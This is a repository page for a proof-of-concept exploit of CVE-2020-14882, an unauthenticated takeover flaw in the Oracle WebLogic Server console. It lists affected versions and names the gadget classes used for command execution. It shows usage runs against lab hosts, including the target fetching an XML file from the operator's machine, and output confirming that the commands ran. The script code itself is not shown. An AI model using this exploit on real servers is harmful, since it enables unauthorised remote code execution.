CVE-2020-14882 PoC — Oracle WebLogic Server 安全漏洞

Description

CVE-2020-14882

Readme

# CVE-2020-14882
CVE-2020-14882

## Description  
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic

## Difference   
For Oracle WebLogic versions before 12.2.1, we need to use the class 'com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' as the class 'com.tangosol.coherence.mvel2.sh.ShellSession' is not available.
The script automatically switches between the two classes for command execution depending on the versions detected.  

Some of the current scripts available on Github for exploiting CVE-2020-14882 only supports the class 'com.tangosol.coherence.mvel2.sh.ShellSession', which means the scripts will fail on WebLogic versions 10.3.6.0.0 and 12.1.3.0.0.
    
## Steps
```
% python3 CVE-2020-14882.py -u http://172.16.164.134:7001 -c 'uname -r > /tmp/success' -i 172.16.164.1
[*] http://172.16.164.134:7001/console/login/LoginForm.jsp [version 12.1.3.0.0]
[*] Using: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
```

```
% python3 CVE-2020-14882.py -u http://127.0.0.1:7001 -c 'uname -r' -i 172.16.164.1
http://127.0.0.1:7001/console/login/LoginForm.jsp
[*] http://127.0.0.1:7001/console/login/LoginForm.jsp [version 12.2.1.3.0]
[*] Using: com.tangosol.coherence.mvel2.sh.ShellSession
Linux 96fc5d43736b 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

File Snapshot

Remarks